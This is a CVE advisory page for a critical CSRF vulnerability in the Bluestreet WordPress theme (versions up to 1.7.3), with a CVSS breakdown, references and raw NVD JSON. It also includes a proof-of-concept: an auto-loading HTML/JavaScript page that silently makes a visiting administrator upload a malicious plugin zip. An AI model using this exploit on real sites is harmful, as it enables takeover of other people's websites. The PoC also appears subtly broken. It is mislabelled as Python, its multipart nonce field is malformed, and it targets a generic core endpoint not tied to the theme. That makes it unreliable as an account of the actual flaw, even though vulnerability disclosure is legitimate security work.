CVE-2026-39617

Description

Cross-Site Request Forgery (CSRF) vulnerability in priyanshumittal Bluestreet bluestreet allows Cross Site Request Forgery.This issue affects Bluestreet: from n/a through <= 1.7.3.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Bluestreet <= 1.7.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CSRF to Arbitrary Plugin Installation -->
<html>
  <body>
    <script>
      function submitRequest() {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://target-site.com/wp-admin/update.php?action=upload-plugin", true);
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundary");
        
        var body = "------WebKitFormBoundary\r\n";
        body += 'Content-Disposition: form-data; name="_wpnonce"; value=""\r\n\r\n'; // Empty or missing nonce causing vulnerability
        body += "------WebKitFormBoundary\r\n";
        body += 'Content-Disposition: form-data; name="pluginzip"; filename="malicious.zip"\r\n';
        body += "Content-Type: application/zip\r\n\r\n";
        body += "PK[...MALICIOUS_ZIP_CONTENTS...]"; 
        body += "\r\n------WebKitFormBoundary--\r\n";
        
        xhr.send(body);
      }
      // Trigger automatically when admin visits the page
      window.onload = submitRequest;
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39617
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39617
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39617/
[4] VulDB https://vuldb.com/cve/CVE-2026-39617
[5] https://patchstack.com/database/Wordpress/Theme/bluestreet/vulnerability/wordpress-bluestreet-theme-1-7-3-cross-site-request-forgery-csrf-to-arbitrary-plugin-installation-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39617", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:31.600", "lastModified": "2026-04-24T18:06:58.907", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in priyanshumittal Bluestreet bluestreet allows Cross Site Request Forgery.This issue affects Bluestreet: from n/a through <= 1.7.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/bluestreet/vulnerability/wordpress-bluestreet-theme-1-7-3-cross-site-request-forgery-csrf-to-arbitrary-plugin-installation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}